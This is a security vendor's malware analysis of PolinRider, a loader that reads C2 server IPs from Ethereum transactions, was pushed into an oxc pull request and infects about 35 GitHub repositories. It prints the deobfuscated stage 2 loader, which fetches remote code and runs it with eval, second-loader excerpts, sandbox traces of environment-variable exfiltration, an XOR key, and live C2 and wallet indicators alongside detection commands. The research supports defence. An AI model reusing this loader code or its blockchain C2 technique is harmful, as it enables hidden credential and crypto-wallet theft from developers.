PolinRider Switches to Ethereum C2 in 30+ Repositories

SafeDep Team20 min read

The PolinRider loader family has a new way to find its command and control (C2) servers. It reads Ethereum mainnet and looks for small transactions from an operator wallet. The recipient address of each transaction holds the IP address of a C2 server. SafeDep found two operator wallets that use this method. One wallet has sent a transaction about every 51 minutes since 2026-06-23. The other has sent one about every 3.3 hours since 2026-07-25. SafeDep confirmed 35 GitHub repositories that contain the loader at the tip of the default branch (HEAD) on 2026-09-30. Together they have 7,578 stars and 2,884 forks. The loader runs when a developer builds or starts the project. It then installs a Node.js and Python infostealer that takes environment secrets, browser passwords, cookies, and wallet data.

The investigation started with a pull request against oxc-project/oxc(opens in new tab). That pull request added the loader to 20 build and test scripts. The maintainers did not merge it. This post follows the loader from that diff to the live servers, and then out to the other infected repositories.

Key findings

  • The loader encodes C2 IP addresses in the to field of Ethereum transactions. Two operator wallets use this method: 0x33ff3eda…9891 and 0xa322E5f3…Ef1a.
  • SafeDep confirmed 35 infected repositories. SafeDep decoded every file statically and linked each one to a wallet or Tron address. All 35 still carried the loader at HEAD on 2026-09-30.
  • The wallet histories are public. They show 11 C2 servers across both wallets. Eight of them are on one hosting provider, AS149440 Evoxt.
  • One infection writes two loaders into the same project. One loader uses Ethereum, and the other uses a Tron address pair that SafeDep did not find in public reports.
  • Two C2 servers, 198.105.127[.]210 and 166.88.134[.]62, also appear in the earlier SafeDep astro.config.mjs and @joyfill investigations.
  • The OpenSSF malicious-packages database has 70 npm and PyPI records that contain the second wallet. SafeDep found no public records for the first wallet.

The first signal

On 2026-09-30, oxc maintainer Boshen posted a screenshot of a pull request diff on X:

How do you handle these kind of attacks?

Very concerning.

@boshen_c on X(opens in new tab)

GitHub diff of oxc pull request 26629 showing obfuscated JavaScript in apps/oxfmt/conformance/download-fixtures.js

The diff shows dense JavaScript in apps/oxfmt/conformance/download-fixtures.js. The first statement is global.o='5-841-du'. The payload was visible only because of a bot. The pull request branch received an [autofix.ci] apply automated fixes commit (714958e5). The formatter split a one-line payload into 106 lines, and the diff view then showed them.

GitHub has removed the contributor account and its pull requests. The commits stay reachable in the oxc repository network by SHA. The commit that adds the loader is 41ab07a8(opens in new tab).

The oxc commit

The GitHub API returns this metadata. SafeDep removed the two account names.

// GET /repos/oxc-project/oxc/commits/41ab07a849c68472779da562d1530cf19f116ccf (fields selected with jq)
{
  "author": { "name": "<oxc maintainer>", "date": "2026-07-16T04:26:05Z" },
  "committer": { "name": "<contributor account>", "date": "2026-09-25T07:24:44Z" },
  "msg": "test(benchmark): wire parser ast_counts into the semantic bench ...",
  "verification": "unsigned"
}

The author field uses the name and email of an oxc maintainer. The author date is ten weeks older than the commit date. The message describes a real benchmark change in tasks/benchmark/benches/semantic.rs. The other 20 changed files carry the payload. The pull request opened on 2026-09-14, and the commit date is 2026-09-25. Someone rewrote the branch after it opened. Git lets the person who makes a commit set any author name and date, so the author line alone proves nothing.

Each of the 20 files gets two edits. The first edit gives ES modules a require function. The second edit puts the payload on the last line, after 2,000 space characters.

// apps/oxfmt/conformance/download-fixtures.js @ 41ab07a8
 // oxlint-disable no-console, no-await-in-loop

+import { createRequire } from 'module';
+const require = createRequire(import.meta.url);
 import { exec } from "node:child_process";
@@ -112,4 +114,4 @@ await Promise.all(
     }
   }),
-);
+);  [2,000 spaces]  global.o='5-841-du';var _$_fed0=(function(n,p){var z=n.length; ...

The added import uses single quotes, but the oxc code uses double quotes. TypeScript files carry the same JavaScript in Base64 inside eval("global.o='5-841-du';"+atob('...')). The attacker picked scripts that developers and CI jobs run often: build scripts, package patch scripts, code generation, conformance runners, a benchmark, and two test fixtures.

Stage 0 and stage 1: the loader prepares the process

SafeDep decoded every stage with Python scripts that copy the obfuscator math. The loader starts with a string table called _$_fed0. A shuffle function with seed 1019557 turns it into these values:

// _$_fed0 table, decoded
0x0 'undefined'  0x2 'console'  0x3..0xf 'log' 'info' 'warn' 'error' 'debug' 'trace' 'dir' ...
0x11 'r'  0x13 'm'  0x14 '___dirname'  0x15 '___filename'

The loader replaces every console method with an empty function, so later stages print nothing. It stores require in global.r, module in global.m, and the script path in global.___dirname and global.___filename. A second shuffle function (seed 3369804) produces the word constructor. The loader uses it to reach Function. It then builds a dictionary decoder that expands a 3.7 KB blob into stage 2.

Stage 2: reading the C2 address from Ethereum

Stage 2 is 6.3 KB of JavaScript. The full deobfuscated source is at the end of this post. It first checks a guard. If global._p_t is less than 30 seconds old, it stops. This prevents a second run when two infected scripts load in the same process.

The loader sends remote procedure calls (RPC) in JSON format to three public Ethereum endpoints in order:

// Stage 2 @ 41ab07a8 (string table resolved)
var __jso_block_param_14_o = await a(t, n, 'ethereum-rpc.publicnode.com1');
var __jso_block_param_13_o = await a(t, n, 'eth.drpc.org');
var __jso_block_param_12_o = await a(t, n, 'eth-mainnet.public.blastapi.io');

The first host name ends in 1, so that request always fails. The loader reads the current block number, rounds it down to a multiple of 256, and adds 3. It reads that block and looks for a transaction from a sender that contains a fixed string:

// Stage 2 @ 41ab07a8 (string table resolved)
var r = '33ff3edaf55a8e03dcbc7cb40d498a49';
// ...
if (__jso_nested_loop_3_o['from']['includes'](r)) {
  return __jso_nested_loop_3_o['to'];
}

If the block has no match, the loader moves back by 256 blocks, then 512, then 1,024, up to 212 × 256 blocks. An old transaction still works, so the operator does not need to post in every window.

The loader returns the recipient address. The function h turns part of that address into IP:port:

// Stage 2 @ 41ab07a8 (string table resolved)
function h(t, n) {
  return (
    t['substring'](n, n + 8)
      ['match'](/.{2}/g)
      ['map'](function (t) {
        return parseInt(t, 16);
      })
      ['join']('.') +
    ':' +
    parseInt(t['substring'](n + 8, n + 12), 16)
  );
}

h(to, 2) reads 8 hex characters as an IPv4 address and the next 4 as a port. h(to, 14) reads a second pair. SafeDep ran the same lookup in Python against a public RPC endpoint:

// resolve_c2.py output, 2026-09-30
{
 "block": 26090499,
 "hash": "0x4af226961661ace5eec6afbf469f8acc26721fdcc3c2c167e2734f003177c4de",
 "from": "0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891",
 "to": "0xc6697fd201bb2d89c685005000ff68ce430f572a",
 "input": "0x",
 "value": "0x1f4"
}
C2 #1 198.105.127.210:443  C2 #2 45.137.198.133:80

You can check the decode by hand. c6 69 7f d2 is 198.105.127.210, and 01bb is 443. 2d 89 c6 85 is 45.137.198.133, and 0050 is 80. Block 26090499 modulo 256 is 3.

With the two addresses, the loader gets stage 3:

// Stage 2 @ 41ab07a8 (string table resolved, excerpt)
var __jso_block_param_4_y = "global.i='" + e + "';global.r=require;global.m=module;";
var __jso_block_param_3_g = await f('http://' + h(__jso_block_param_7_m, 2) + '/boot');
__jso_block_param_6_b('node', ['-e', __jso_block_param_4_y + __jso_block_param_3_g], __jso_block_param_5_w)['on'](
  'error',
  function (__jso_block_param_8_t) {}
);
eval(__jso_block_param_3_g);
var __jso_block_param_2__ = u('os');
if (
  __jso_block_param_2__['platform']() === 'linux' &&
  __jso_block_param_2__['release']()['includes']('microsoft-standard-WSL2')
) {
  __jso_block_param_6_b('node.exe', ['-e', __jso_block_param_4_y + __jso_block_param_3_g], __jso_block_param_5_w)['on'](
    'error',
    function (__jso_block_param_8_t) {}
  );
}

The /boot request carries the header X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du. The loader runs the response with eval. It also starts a detached node -e process with stdio: 'ignore' and windowsHide: true, which continues after the build script ends. On Windows Subsystem for Linux 2 (WSL2), it starts node.exe too, which moves the infection from the Linux guest to the Windows host. The loader then gets /0/boot from the second server in the same way.

The first wallet is a public log

The Ethereum method has a cost for the operator. The chain keeps a record of every C2 change. The wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 sent 2,895 transactions between 2026-06-23 and 2026-09-30. The median gap is 256 blocks, about 51 minutes. The most common block number modulo 256 is 3, which is the first block the loader reads. The values are 0, 150, or 500 wei.

The wallet used six recipient addresses:

The wallet 0xd31A213E77C0E3Be774bD0DdBC86cf2D86090B59 sent 0.01 ether to the operator wallet 93 minutes before the first heartbeat. The first heartbeat is three months older than the oxc commit, so the oxc pull request was not the first use of this wallet.

Stages 3 to 5: from boot script to Python stealer

The two C2 servers return different boot scripts with the same obfuscator. 198.105.127[.]210:443/boot gets /init and runs a JavaScript field from the JSON response. 45.137.198[.]133/0/boot gets /0/body and decodes it with a fixed exclusive OR (XOR) key:

// /0/boot response from 45.137.198.133, decoded (excerpt)
var _V = _global['i'] || _global['o'] || _global['_V'] || '0';
var _require = _global['r'];
_global['_H'] = _global['_U'] = 'http://45.137.198.133';
await eval(
  (function (input) {
    var k = 'YU7m{rE/>|==b>#~';

The first line reads global.i, then global.o, then global._V. Older PolinRider samples set global._V or global['!']. One server can serve old and new infections.

The /0/body response is 54 KB of Node.js code with RC4 string encryption. SafeDep ran it under the Node.js permission model with a logging stub for require, blocked sockets, and fake host values:

// sandbox trace of /0/body (host name and user are fake values)
[call] child_process.exec( [ 'npm --prefix "/home/victim/.node_modules" install axios socket.io-client', { stdio: 'inherit', windowsHide: true }, '<fn>' ] )
[require] axios
[call] axios.post( [ 'http://45.137.198.133/snv', URLSearchParams { 'id' => 'victim-host$victim', 'user' => 'victim', 'body' => '{"HOME":"/nonexistent","OUT":"trace_body.hooked.js.log"}' } ] )
[call] fs.existsSync( [ '/home/victim/.local/bin/py' ] )
[call] child_process.spawn( [ '/home/victim/.local/bin/py', [ '-V' ], undefined ] )

The script installs axios and socket.io-client into a private npm prefix, ~/.node_modules. It posts the complete process.env to /snv. On a developer computer, that includes cloud keys and registry tokens in the shell. Its string table has a list of host and user names for CI runners and sandboxes, such as buildkitsandbox, github-runne, codespace, devcontainer, vercel-sandb, and assemblyline. The script marks those hosts as Blocked. It then installs Python (on Windows from python.7z and 7zr.exe) and pip from bootstrap.pypa.io. It starts a detached Python stager that gets /$/1 and runs it with exec.

The /$/1 response is 83 KB of Python after one reversed Base64 and zlib decode. It exits if the stager did not set a value:

# /$/1 response, decoded (lines 127 to 129)
B9=260924
Aj=BM(urllib.request.Request,'_target',E)
if not Aj:G.exit()

If a sandbox runs only this file, the file does nothing. The stealer takes Chromium and Firefox passwords and cookies, ~/.git-credentials, and data for 153 browser extension IDs. The IDs include MetaMask, Phantom, Coinbase Wallet, 1Password, and Bitwarden. On Linux, it reports Blocked (BOT) and deletes its work folder if the host has no saved passwords, no extensions, and no Firefox profile. It uploads a ZIP file to {_target}/u/f. If that fails, it sends the file with the Telegram Bot API. The C2 gives the Telegram token at run time, so the token is not in the sample.

Hunting for other infected repositories

The oxc marker 5-841-du suggested a counter. SafeDep searched the Sourcegraph public code index for the loader markers (global.o=, global.i="A, global['_V'], global['!'], and the _$_xxxx=(function( table pattern), including forks and archived repositories.

SafeDep downloaded each file at the indexed commit and decoded it with the same Python scripts. A repository is on the list only if the decoded loader contains one of the operator wallets or Tron addresses. Security tools and research repositories that store the markers as test data are not on the list.

The result is 35 confirmed repositories in three groups:

All 35 repositories still carried the loader at HEAD on 2026-09-30. The commit dates in them go back as far as 2017. The last push dates are between 2026-07-07 and 2026-09-28, after the wallets started. The attacker back-dates the commits in the same way as the oxc commit.

The infected projects include templates, admin dashboards, starter kits, and tutorials. Other developers fork and copy these projects. Four Creative Tim dashboard templates carry the loader and have 1,773 forks together. The complete list, with a link to one infected file at its commit for each repository, is in the infected repositories table below.

The second Ethereum wallet

The second group uses a different loader with the same idea. The code is plain JavaScript with Unicode escapes, or obfuscator.io output. This excerpt is from postcss.config.js in tailwindadmin/admin@e818e8e7(opens in new tab), after SafeDep converted the \u escapes to characters:

// tailwindadmin/admin postcss.config.js @ e818e8e7 (Unicode escapes decoded, excerpt)
global.i = 'A10-*23720';
global.r = require;
typeof module === 'object' && (global.m = module);
// ...
((B = 1000n),
  (S = '0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a'.toLowerCase()),
  (I = 'https://eth.blockscout.com/api'),
  (R = [
    ...new Set(
      [
        process.env.ETH_RPC_URL,
        'https://1rpc.io/eth',
        'https://eth.drpc.org',
        'https://ethereum-rpc.publicnode.com',
        'https://eth-mainnet.public.blastapi.io',
      ].filter(Boolean)
    ),
  ]));
// ...
const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ''), 'hex'),
  ip = (b) => b[0] + '.' + b[1] + '.' + b[2] + '.' + b[3],
  [o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))];
// ...
await rl(new URL(`http://${o}:443/0x/cls`), 'q4FZkxX{!h,Sr3=@', !1);
await rl(new URL(`http://${o}:443/0x/ls`), 'y-p_>d$0B&@^1aQk', !0);

This loader reads blocks near a multiple of 1,000. If that fails, it searches by transaction count, and then it asks the Blockscout API for the wallet history. The first 8 bytes of the recipient address are two IPv4 addresses. The last 12 bytes are the same in every transaction. They are the ASCII text helloipbot!!:

// latest 0xa322 heartbeat, block 26089999
to: 0x5BDAb7Ae 5BDAb7aE 68656C6C6f6970626F742121
    91.218.183.174 | 91.218.183.174 | h e l l o i p b o t ! !

The loader gets /0x/cls and /0x/ls with a Sec-V header that carries the marker. It sets global._H, _H2, _t_s, and _t_u. These names also occur in the astro.config.mjs and @joyfill samples.

The wallet sent 491 transactions from 2026-07-25. It used six C2 servers, and every server is on AS149440 Evoxt:

The first server, 166.88.134[.]62, is the server that the @joyfill stage 2 selects for markers that start with A. The markers in this group also start with A.

This wallet also appears outside GitHub repositories. The Open Source Security Foundation (OpenSSF) malicious-packages(opens in new tab) database has 70 records (68 npm and 2 PyPI) that contain 0xa322E5f3 or the /0x/cls path. OpenSSF published these records between 2026-06-24 and 2026-09-30. Most packages are look-alike Tailwind CSS and PostCSS plugins. A few packages use scopes that look like real projects.

One infection writes two loaders

Six repositories carry a Tron loader with a marker that ends in -1. In two of them, the search index also holds an Ethereum loader with the same number. For example, one file sets global.o='1-35' and uses the 0x33ff wallet. Another file in the same repository sets global.i='1-35-1' and uses Tron. The Tron file reads TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF with the fallback TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH, and two Aptos accounts. SafeDep did not find these addresses in public reports. In the other four repositories, the search index holds only the Tron file.

The markers also carry over between generations. The four Creative Tim templates use global.i="A9-0337-4". Two repositories of the admin-dashboards organization carry an older Tron-era file with global['!']='9-0337-4'. Three repositories of one owner all use A8-3465. SafeDep infers that the number identifies an infected developer or organization, not a build of the malware. The oxc marker 5-841-du and the markers 5-1169-du and 5-1460-du in other repositories fit a counter.

This matches how PolinRider spreads. An infected developer computer adds the loader to the projects of that developer and pushes them with a faked date. The astro.config.mjs investigation found the push tool name, temp_auto_push.bat, in a .gitignore file. The oxc case is different in one way. The attacker did not own oxc, so the loader arrived through a pull request.

The @joyfill stage 3 was a 77 KB LZ-compressed bot client. The /init response from 198.105.127[.]210 has a 74.8 KB LZString field. SafeDep infers that this is the same bot client. The obfuscator renames every identifier, so this is not confirmed yet.

Attacker techniques

Detection and response

If you cloned or forked a project in the table below and ran a build, a development server, or a test, treat the computer as compromised. Rotate every secret that was in the shell environment. Rotate browser-saved passwords and session cookies. Move funds out of any wallet extension on that computer. Look for ~/.node_modules, ~/.local/bin/py, /tmp/.pip, and tmp7A863DD1.tmp, and for detached node or python processes with -e or -c arguments.

If you own one of these repositories, remove the payload from every file in the table and from other JavaScript and TypeScript files. Then check the computers that pushed to the repository. The loader comes from an infected developer computer, and a clean repository gets infected again if that computer stays infected.

For network detection, look for a node process that calls a public Ethereum RPC endpoint or the Blockscout API. Then look for a connection from the same process to a raw IP address on port 80 or 443. The requests carry an X header with a 32-character hex value, or a Sec-V header with a marker.

For code review and scanning, these checks find both loaders:

# Lines longer than 1,000 characters in JavaScript or TypeScript files
grep -rnE '.{1000,}' --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts' .

# Markers of this loader family
grep -rnE "global\.o='|global\.i=\"A|_\\\$_[0-9a-f]{4}=\(function|createRequire\(import\.meta\.url\)" .

# Commits where the author and the committer are different
git log --format='%h|%an|%cn|%ad|%cd' | awk -F'|' '$2 != $3'

The second loader often hides in files named fa-solid-400.woff2 under public/fonts/. That file is JavaScript, not a font. Check any font file that file reports as text.

Infected repositories

All 35 repositories below carried the loader at HEAD on 2026-09-30. Each link points to one infected file at the commit that the search index held. A link can return 404 later if the owner removes the history.

polinrider-ethereum-infected-repositories.csv
RowRepositoryResolverMarkerInfected files in indexStarsForksLast pushEvidence (file at commit)
1technext/100-template-listEthereum wallet 0x33ff3eda5-1460-du52081682026-09-21https://github.com/technext/100-template-list/blob/9c70c9b1409ec41f12929d1d9e6faed255663148/64%20gentelella/vendors/autosize/build.js
2aboozaid/react-native-facerecognitionEthereum wallet 0x33ff3eda5-2-228-du1217762026-07-15https://github.com/aboozaid/react-native-facerecognition/blob/3f49c10affd186eff4160993999940bf3d728bea/example/metro.config.js
3efstathiosntonas/react-native-style-libraries-benchmarkEthereum wallet 0x33ff3eda5-2-272-du1481342026-07-12https://github.com/efstathiosntonas/react-native-style-libraries-benchmark/blob/5d8216b8bcac3c42c71fad75a44426f59809ef35/tailwind.config.js
4SFARPak/AliFullStackEthereum wallet 0x33ff3eda5-1169-du1782212026-09-07https://github.com/SFARPak/AliFullStack/blob/c34f5cfea36db008b7c3e29c0d451b60758a30f4/Roo-Code/src/esbuild.mjs
5aliezzahn/event-timeline-roadmapEthereum wallet 0x33ff3eda5-4-44-du190202026-07-20https://github.com/aliezzahn/event-timeline-roadmap/blob/ac6232d87ed046450eb04071fda5f150c899a28a/postcss.config.mjs
6gumlau/nextjs-seo-blog-starterEthereum wallet 0x33ff3eda5-2-314-du15462026-07-14https://github.com/gumlau/nextjs-seo-blog-starter/blob/a76b91d8b06b657fb0cf35ba7568c1354b817942/next.config.ts
7flecs-hub/flecs-polyglotEthereum wallet 0x33ff3eda5-2-457-du16242026-07-25https://github.com/flecs-hub/flecs-polyglot/blob/a200d50cde253dd87f22942ee707f7d66a1a5c3e/ts/examples/basic/src/index.ts
8TheSentora/Crypto-Web3-Copilot-AppEthereum wallet 0x33ff3eda1-23236922026-09-15https://github.com/TheSentora/Crypto-Web3-Copilot-App/blob/5869c7c4ed809e939ee825308c93ae7dc8ac67a5/copilot-app/Ai/Ai/next.config.js
9subramanianv/CertificateVerificationEthereum wallet 0x33ff3eda8-11356137922026-07-10https://github.com/subramanianv/CertificateVerification/blob/a4d2f786caafed56bbe7776db5ca3b7f6366c601/webpack.config.js
10morganjweaver/liquibetEthereum wallet 0x33ff3eda8-10173123712026-07-07https://github.com/morganjweaver/liquibet/blob/a789efb022f35b5d7f0fb6159cdabf4ddc6f7c71/frontend/postcss.config.js
11Dhruvone8/iChatEthereum wallet 0x33ff3eda1-35137002026-07-15https://github.com/Dhruvone8/iChat/blob/2dcef82f361c07c2e13c14053e6cdf40b34684e7/backend/server.js
12Web3-Builders-Alliance/convergenceEthereum wallet 0x33ff3eda8-10197121802026-07-07https://github.com/Web3-Builders-Alliance/convergence/blob/e2e92e2a4df749258905dc67920fb26be8a2cd2c/app/postcss.config.js
13Lynxverse/lynxverse.ioEthereum wallet 0x33ff3eda8-10702237702026-07-09https://github.com/Lynxverse/lynxverse.io/blob/d29d777d094f6b0c94d979653bdecbb7efcfadf2/postcss.config.js
14creativetimofficial/black-dashboard-djangoEthereum wallet 0xa322E5f3A9-0337-412325312026-09-10https://github.com/creativetimofficial/black-dashboard-django/blob/f55a30c353e1d7b06ff169cd7dd2595a2962b736/postcss.config.js
15creativetimofficial/argon-dashboard-djangoEthereum wallet 0xa322E5f3A9-0337-411765132026-09-10https://github.com/creativetimofficial/argon-dashboard-django/blob/f3c0a8f8b7f3b2051c9366d044d4054cca643560/apps/static/assets/vendor/bootstrap-datetimepicker.js
16creativetimofficial/material-dashboard-djangoEthereum wallet 0xa322E5f3A9-0337-41994182026-09-10https://github.com/creativetimofficial/material-dashboard-django/blob/fab45b237af2a97f40d980a4a36febd96a382505/postcss.config.js
17creativetimofficial/argon-dashboard-flaskEthereum wallet 0xa322E5f3A9-0337-41793112026-09-10https://github.com/creativetimofficial/argon-dashboard-flask/blob/0ca599415baae8a2653e548eceb7c96255100485/apps/static/assets/vendor/bootstrap-datetimepicker.js
18CommunityPro/portfolio-htmlEthereum wallet 0xa322E5f3A8-*#new16772922026-08-22https://github.com/CommunityPro/portfolio-html/blob/724291e11152425565ea77e3a6041f7a33eb7119/public/fonts/fa-solid-400.woff2
19Mshandev/Food-DeliveryEthereum wallet 0xa322E5f3A9-0258-222182122026-09-09https://github.com/Mshandev/Food-Delivery/blob/81e064ef4afbd0c68d9c79a5b878bbae414e6e33/admin/vite.config.js
20tailwindadmin/adminEthereum wallet 0xa322E5f3A10-*237201478952026-08-10https://github.com/tailwindadmin/admin/blob/e818e8e74aad30a5dedf9f54ab69428011bf67be/postcss.config.js
35 rows · showing first 208 columns

Indicators of compromise

polinrider-ethereum-c2-iocs.csv
RowIndicatorTypeStageContext
141ab07a849c68472779da562d1530cf19f116ccfGit commit0Commit in the oxc network that injects the loader into 20 files
2global.o='5-841-du'Code marker0Campaign marker set at the start of the injected loader
3_$_fed0Code marker0String table name in the injected loader
40x33ff3edaf55a8e03dcbc7cb40d498a49cd499891Ethereum address2Operator wallet. Sends the C2 heartbeat transaction every 256 blocks
50xc6697fd201BB2d89C685005000FF68cE430F572AEthereum address2Heartbeat recipient from 2026-09-28. Encodes 198.105.127.210:443 and 45.137.198.133:80
60xC6697Fd201bBC6697fd2005000FF7FBa91BD7115Ethereum address2Heartbeat recipient 2026-09-25 to 2026-09-28. Encodes 198.105.127.210
70xB5D6959401bbb5D69594005000ff8C84e0b715b1Ethereum address2Heartbeat recipient 2026-09-07 to 2026-09-25. Encodes 181.214.149.148
80xB5D6959301bbB5D69593005000FfABa8a5A2ADA2Ethereum address2Heartbeat recipient 2026-09-03 to 2026-09-07. Encodes 181.214.149.147
90x171B14bb01bB171B14BB0050EB7f39C35C47E682Ethereum address2Heartbeat recipient 2026-06-24 to 2026-09-03. Encodes 23.27.20.187
100x171B14bB0050171b14Bb01BB398EAAB6441Fbd47Ethereum address2Heartbeat recipient 2026-06-23 to 2026-06-24. Encodes 23.27.20.187
110xd31A213E77C0E3Be774bD0DdBC86cf2D86090B59Ethereum address2Funded the operator wallet on 2026-06-23 and 2026-08-04
120x76D6dDCBDE60c1DFDBE4E836D7122C3B49216907Ethereum address2Funded the operator wallet on 2026-09-28
13198.105.127.210IP address3C2. /boot and /init on port 443 over plain HTTP. AS149440
1445.137.198.133IP address3C2. /0/boot /0/body /snv and /$/1 on port 80. AS212477
15181.214.149.147IP address3C2 2026-09-03 to 2026-09-07. AS397423
16181.214.149.148IP address3C2 2026-09-07 to 2026-09-25. AS397423
1723.27.20.187IP address3C2 2026-06-23 to 2026-09-03. AS149440
18X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-duHTTP header2Header on the /boot request
19YU7m{rE/>|==b>#~XOR key3Decrypts the /0/body response
2002b7e072c51ac6f7037c2fd4727fcdb06bee6f74cc1af182f7180d8b5e904d63SHA-2563/boot response from 198.105.127.210
45 rows · showing first 204 columns

Deobfuscated stage 2

The file below is the stage 2 loader from the oxc commit after SafeDep resolved its string table. The variable names come from the obfuscator.

polinrider-ethereum-stage2-deobfuscated.js
// Stage 2 loader from commit 41ab07a8 in the oxc repository network. String tables resolved statically, formatted with Prettier.
// Variable names are the obfuscator output. Do not run.
function _$af5738(o) {
  if (o != null && typeof o['length'] == 'number') {
    var i = 0;
    return {
      next: function () {
        return i < o['length'] ? { done: false, value: o[i++] } : { done: true, value: void 0 };
      },
    };
  }
  if (o != null && typeof Symbol != 'undefined' && typeof o[Symbol['iterator']] == 'function') {
    return o[Symbol['iterator']]();
  }
  throw new TypeError('Value is not iterable');
}
(function (g) {
  try {
    var c = g['console'];
    if (!c) {
      return;
    }
    var a = [
      'log',
      'info',
      'warn',
      'error',
      'debug',
      'trace',
      'dir',
      'table',
      'group',
      'groupCollapsed',
      'groupEnd',
      'time',
      'timeEnd',
    ];
    for (var i = 0; i < a['length']; i++) {
      try {
        c[a[i]] = function () {};
      } catch (ex) {}
    }
  } catch (ex) {}
})(typeof globalThis !== 'undefined' ? globalThis : Function('return this')());
_$jsoIter = _$af5738;
(async function () {
  var i = global;
  var u = i['r'];
  var e = i['o'] || 0;
  var r = '33ff3edaf55a8e03dcbc7cb40d498a49';
  var n = 3;
  var o = 8;
  var c = 1 << o;
  async function a(c, a, s) {
    if (a === void 0) {
      a = [];
    }
    return new i['Promise'](function (o, e) {
      var t = i['JSON']['stringify']({ jsonrpc: '2.0', method: c, params: a, id: 1 });
      var n = { hostname: s, method: 'POST' };
      var r = u('https')
        ['request'](n, function (t) {
          var n = '';
          t['on']('data', function (t) {
            n += t;
          });
          t['on']('end', function () {
            try {
              o(i['JSON']['parse'](n)['result']);
            } catch (t) {
              e(t);
            }
          });
        })
        ['on']('error', function (t) {
          e(t);
        });
      r['write'](t);
      r['end']();
    });
  }
  async function s(t, n) {
    if (n === void 0) {
      n = [];
    }
    try {
      var __jso_block_param_14_o = await a(t, n, 'ethereum-rpc.publicnode.com1');
      if (__jso_block_param_14_o) {
        return __jso_block_param_14_o;
      }
    } catch {}
    try {
      var __jso_block_param_13_o = await a(t, n, 'eth.drpc.org');
      if (__jso_block_param_13_o) {
        return __jso_block_param_13_o;
      }
    } catch {}
    try {
      var __jso_block_param_12_o = await a(t, n, 'eth-mainnet.public.blastapi.io');
      if (__jso_block_param_12_o) {
        return __jso_block_param_12_o;
      }
    } catch {}
  }
  async function d(t) {
    var n = await s('eth_getBlockByNumber', ['0x' + t['toString'](16), true]);
    if (!(n['transactions'] == null ? undefined : n['transactions']['length'])) {
      return;
    }
    {
      var _$err_76ce_1;
      try {
        for (
          var _$it_76ce_1 = _$jsoIter(n['transactions']), _$st_76ce_1;
          !(_$st_76ce_1 = _$it_76ce_1['next']())['done'];
        ) {
          var __jso_nested_loop_3_o = _$st_76ce_1['value'];
          if (__jso_nested_loop_3_o['from']['includes'](r)) {
            return __jso_nested_loop_3_o['to'];
          }
        }
      } catch (_$ex_76ce_1) {
        _$err_76ce_1 = { e: _$ex_76ce_1 };
      } finally {
        try {
          if (_$st_76ce_1 && !_$st_76ce_1['done'] && _$it_76ce_1['return']) {
            _$it_76ce_1['return']();
          }
        } finally {
          if (_$err_76ce_1) {
            throw _$err_76ce_1['e'];
          }
        }
      }
    }
  }
  async function l(n) {
    for (var __jso_nested_loop_2_t = -1; __jso_nested_loop_2_t < 13; __jso_nested_loop_2_t++) {
      var __jso_block_param_11_o = __jso_nested_loop_2_t == -1 ? 0 : Math['pow'](2, __jso_nested_loop_2_t);
      for (var __jso_nested_loop_1_t = 0; __jso_nested_loop_1_t < 3; __jso_nested_loop_1_t++) {
        var __jso_block_param_10_e = await d(n - __jso_block_param_11_o * c + __jso_nested_loop_1_t);
        if (__jso_block_param_10_e) {
          return __jso_block_param_10_e;
        }
      }
    }
  }
  async function f(t) {
    return new i['Promise'](function (o, n) {
      u('http')
        ['get'](t, { headers: { X: r + ':' + e } }, function (t) {
          var n = '';
          t['on']('data', function (t) {
            n += t;
          });
          t['on']('end', function () {
            o(n);
          });
        })
        ['on']('error', function (t) {
          n(t);
        })
        ['end']();
    });
  }
  function h(t, n) {
    return (
      t['substring'](n, n + 8)
        ['match'](/.{2}/g)
        ['map'](function (t) {
          return parseInt(t, 16);
        })
        ['join']('.') +
      ':' +
      parseInt(t['substring'](n + 8, n + 12), 16)
    );
  }
  var t = new i['Date']()['getTime']();
  try {
    if (i['_p_t'] && t - i['_p_t'] < 3e4) {
      return;
    }
  } catch (t) {}
  i['_p_t'] = t;
  try {
    var __jso_block_param_9_p = parseInt(await s('eth_blockNumber'));
    var __jso_block_param_8_t = ((__jso_block_param_9_p >> o) << o) + n;
    if (__jso_block_param_9_p < __jso_block_param_8_t) {
      __jso_block_param_8_t -= c;
    }
    var __jso_block_param_7_m = await l(__jso_block_param_8_t);
    var __jso_block_param_6_b = u('child_process')['spawn'];
    var __jso_block_param_5_w = { detached: true, stdio: 'ignore', windowsHide: true };
    var __jso_block_param_4_y = "global.i='" + e + "';global.r=require;global.m=module;";
    try {
      var __jso_block_param_3_g = await f('http://' + h(__jso_block_param_7_m, 2) + '/boot');
      __jso_block_param_6_b(
        'node',
        ['-e', __jso_block_param_4_y + __jso_block_param_3_g],
        __jso_block_param_5_w,
      )['on']('error', function (__jso_block_param_8_t) {});
      eval(__jso_block_param_3_g);
      var __jso_block_param_2__ = u('os');
      if (
        __jso_block_param_2__['platform']() === 'linux' &&
        __jso_block_param_2__['release']()['includes']('microsoft-standard-WSL2')
      ) {
        __jso_block_param_6_b(
          'node.exe',
          ['-e', __jso_block_param_4_y + __jso_block_param_3_g],
          __jso_block_param_5_w,
        )['on']('error', function (__jso_block_param_8_t) {});
      }
    } catch (__jso_block_param_8_t) {}
    try {
      var __jso_block_param_1_g = await f('http://' + h(__jso_block_param_7_m, 14) + '/0/boot');
      __jso_block_param_6_b(
        'node',
        ['-e', __jso_block_param_4_y + __jso_block_param_1_g],
        __jso_block_param_5_w,
      )['on']('error', function (__jso_block_param_8_t) {
        eval(__jso_block_param_1_g);
      });
    } catch (__jso_block_param_8_t) {}
  } catch (t) {}
})();
  • supply-chain
  • malware
  • github
  • blockchain
  • polinrider

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.